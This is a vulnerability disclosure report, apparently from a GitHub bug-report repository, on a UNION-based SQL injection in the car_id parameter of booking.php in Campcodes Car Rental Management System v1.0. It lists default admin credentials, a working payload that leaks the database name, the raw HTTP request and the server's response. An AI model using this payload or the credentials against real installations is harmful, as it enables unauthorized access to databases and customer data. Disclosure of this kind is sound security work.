

main

...

bug_report / vendors / campcodes.com / car-rental-management-system / SQLi-4.md



debug601 Update SQLi-4.md

History

1 contributor

29 lines (20 sloc) | 1.19 KB

...

Car Rental Management System v1.0 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.campcodes.com/projects/php/car-rental-management-system/>

Vulnerability File: car-rental-management-system/booking.php?car_id=

Vulnerability location: car-rental-management-system/booking.php?car_id=,car_id

[+] Payload: car-rental-management-system/booking.php?

car_id=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ // Leak place ---> car_id

Current database name: car_rental_db

```
GET /car-rental-management-system/booking.php?car_id=-1%20union%20select%201,databas
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k
Connection: close

GET /car-rental-management-system/booking.php?car_id=-1%20union%20select%201, database(),3,4,5,6,7,8,9,10--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k
Connection: close

Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 2274
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
 <form action="" id="manage-book">
 <input type="hidden" name="id" value="">
 <input type="hidden" name="car_id" value="-1 union select 1,database(),3,4,5,6,7,8,9,10--+ ">
 <p>
 <large>Book for: car_rental_db</large>
 </p>
 <div class="form-group">
 <label for="" class="control-label">Pickup Date/Time</label>
 <input type="text" class="form-control" readonly required="" name="pickup_datetime" value="">
 </div>
 </div>
Warning: Undefined array key "pickup" in

Load URL
Split URL
Execute

http://192.168.1.19/car-rental-management-system/booking.php?car_id=-1 union select 1,database(),3,4,5,6,7,8,9,10--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Insert string to replace

Insert replacing string

Book for: car_rental_db

Pickup Date/Time autocomplete="off" C:\xampp\htdocs\car-rental-management-system\booking.php on line 18
Drop off Date/Time autocomplete="off" C:\xampp\htdocs\car-rental-management-system\booking.php on line 22
Full Name

Address

Email

Contact #